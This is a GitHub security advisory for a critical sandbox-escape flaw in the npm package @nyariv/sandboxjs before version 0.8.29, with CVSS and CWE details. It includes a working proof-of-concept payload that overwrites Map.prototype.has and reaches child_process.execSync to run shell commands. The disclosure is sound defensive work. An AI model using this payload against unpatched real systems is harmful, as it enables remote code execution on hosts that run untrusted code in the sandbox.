GitHub Advisoryadvisory · npm

GHSA-66h4-qj4x-38xp @nyariv/sandboxjs has a Sandbox Escape vulnerability

CRITICAL Published 2026-02-05 Modified 2026-02-06 Official page ↗
Aliases
CVE-2026-25587
Ecosystem
npm
Packages
@nyariv/sandboxjs
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-74, CWE-94
Reviewed
2026-02-05

Affected packages

• npm @nyariv/sandboxjs: < 0.8.29 → fixed in 0.8.29

Description

Summary As `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped. Details This is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged: ```js let a = Map.prototype; console.log(a) // undefined ``` ```js const a = Map.prototype; console.log(a) // Object [Map] {} ``` ```js let a = 123; console.log(a) // 123 ``` ```js const a = 123; console.log(a) // 123 ``` PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const m = Map.prototype; m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`; sb.compile(payload)().run(); ``` Impact Able to set `Map.prototype.has` -> RCE

Related

Alias · CVE (1)

  • CVE-2026-25587 SandboxJS is a JavaScript sandboxing library. vulnerability

Weakness · CWE (2)

  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness
  • CWE-94 Improper Control of Generation of Code weakness

References